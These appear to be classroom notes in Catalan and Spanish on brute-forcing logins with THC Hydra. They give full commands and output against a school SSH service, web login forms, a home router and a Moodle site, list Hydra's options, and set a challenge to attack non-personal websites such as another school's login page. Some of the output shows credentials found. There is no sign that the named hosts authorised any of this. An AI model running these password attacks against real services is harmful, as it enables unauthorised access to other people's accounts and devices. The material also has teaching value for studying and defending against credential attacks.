hydra per serveis ssh
hydra ies-sabadexx.xxx -L users-ordinadorssh -p xxxx ssh -s xx -t 2 -vV
[ATTEMPT] target ies-sabad - login "15smx2b24" - pass "xxx" - 24 of 30 [child 1]
[ATTEMPT] target ies-saba - login "15smx2b25" - pass "xxxx" - 25 of 30 [child 0]
[81][ssh] host: ies-saba login: 15smx2b24 password: xxx
[ATTEMPT] target ies-sab - login "15smx2b26" - pass "xxxx" - 26 of 30 [child 1]
[81][ssh] host: ies-sab login: 15smx2b26 password: xxxx
CONTRA LA WEB
<form name="form1" method="post" action="users.php">
<p> User: <input name="user" type="text" id="user"></p>
<p> Password: <input name="pass" type="password" id="pass"></p>
<p />
<p><input type="submit" name="Entrar" value="Submit"></p>
</form>
en cas de fallar les variable suser i password obtenim
<header>
<title>Error</title>
<link type="text/css" rel="stylesheet" href="hard.css" />
</header>
<body>
<div id="main">
<div id="capsalera"></div>
<div id="result">
<h1>login failed!</h1>
<p></p>
<p id="resultat">Are you authorised to login?</p>
<img src="failed.jpg" width=500>
en cas de coneixer la contrasenya d'entrada al servei (normalment no passarà mai) obtindria una pàgina diferent.
<header>
<title>Freak's members zone</title>
<link type="text/css" rel="stylesheet" href="hard.css" />
</header>
<body>
<div id="main">
<div id="capsalera"></div>
<div id="result">
<h1> Login Ok!</h1>
fem la prova
hydra ies-sabadell.cat -l torres -P /usr/share/john/password.lst http-post-form '/~10smx162/smx/users.php:user=^USER^&pass=^PASS^:failed!' -vV -s 80 -t 10
ERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/private.php
[VERBOSE] Page redirected to http://ies-sabadell.cat/~10smx162/smx/failedpassword.php
en el nostre cas, la redirecció a una web diferent és la condició d'exit. encara que el sistema no sigui capaç de detectar-la correctament
Provar amb el router de casa
ROUTER DE CASA
root@kali:~/Baixades# hydra 192.168.1.1 -l 1234 -P /usr/share/john/password.lst -t 2 -vV -s 80 http-get
hydra –l 1234 –P /root/password.lst –e ns –f –vV 192.168.1.1 http-get
-l per usuari a provar (1234 usuari de telefonica router) o -L per agafar usuaris d'un fitxer
-p per provar un password o -P per provar un fitxer de passwords
-t 2 per forçar el num de proves per segon, d'aquesta manera en prova 2 (per defecte fa 16)
-vV modo verbose, que ens ensenyi les proves que fa, i les respostes que obté del servidor ( la redirecció de la pàgina)
-s 80 per indicar el port del servei
http-get el metode de la pàgina web per passar-li el paràmetre
[ATTEMPT] target 192.168.1.1 - login "1234" - pass "carmen" - 17 of 3551 [child 15]
[ATTEMPT] target 192.168.1.1 - login "1234" - pass "mickey" - 18 of 3551 [child 1]
[80][http-get] host: 192.168.1.1 login: 1234 password: 1234
[STATUS] attack finished for 192.168.1.1 (valid pair found)
otras sentencias muy útiles:
-R esto restaura la sesión anterior que se nos haya caído (muy normal cuando nuestro pc no es muy bueno) o que hayamos abortado [-R].
-S se conecta por SSL [-S].
-C Esta sentencia se usa eliminando -l/-L y -p/-P ya que aquí se especifica un diccionario combo, osea que tenga tanto usuario como contraseña con el formato user:pass [-C diccionario-combo.txt].
-o Esto es muy útil ya que nos ira dejando en un documento que nosotros especifiquemos todas las contraseñas y usuarios que vaya sacando [-o output.txt].
-f Se cierra Hydra después de encontrar el primer password [-f].
-w Con este se puede especificar el tiempo máximo (en segundos) que queramos que este crackeando passwords [-w 9999999].
service the service to crack. Supported protocols: telnet ftp pop3 imap smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth pcanywhere teamspeak sip vmauthd firebird ncp afp
OPT some service modules need special input (see README!)
En ocasiones, los ataques son cancelados por multitud de razones, hydra en estos casos genera un fichero llamado “hydra.restore” que contiene la última sesión ejecutada por THC Hydra, de este modo es posible continuar con ataques inconclusos partiendo desde el ultimo estado del ataque, para esto se emplea la opción -R
http://thehackerway.com/2011/04/08/hydra-ataques-de-fuerza-bruta/
http://insidetrust.blogspot.com.es/2011/08/using-hydra-to-dictionary-attack-web.html
REPTES - PROVAR AMB WEBS NO PERSONALS I AMB UNA ESTRUCTURA DE PAS D'UN PARÀMETRE OCULTE
http://insestatut.cat/index/index.php/component/users/?view=login
<form action="/index/index.php/component/users/?task=user.login" method="post" class="form-validate form-horizontal well">
<fieldset>
<div class="control-group">
<div class="control-label">
<label id="username-lbl" for="username" class="required">
Usuari<span class="star"> *</span></label> </div>
<div class="controls">
<input type="text" name="username" id="username" value="prova" class="validate-username required" size="25" required aria-required="true" /> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="password-lbl" for="password" class="required">
Contrasenya<span class="star"> *</span></label> </div>
<div class="controls">
<input type="password" name="password" id="password" value="test" class="validate-password required" size="25" maxlength="99" required aria-required="true" /> </div>
</div>
<div class="control-group">
<div class="control-label"><label>Recorda'm</label></div>
<div class="controls"><input id="remember" type="checkbox" name="remember" class="inputbox" value="yes"/></div>
</div>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary">
Entra </button>
</div>
</div>
<input type="hidden" name="return" value="aW5kZXgucGhwP0l0ZW1pZD0xMDE=" />
<input type="hidden" name="1cd1a7618469095f6919628b44c54a6b" value="1" /> </fieldset>
</form>
Avís
Ha fallat l'autenticació: Accés denegat
PROVES SOLTES
hydra -l admin -P /usr/share/john/password.lst ies-sabadell.cat http-post-form '/cicles-moodle/login/index.php:user=^USER^&pass=^PASS^:Invalid.C=/cicles-moodle/login/index.php'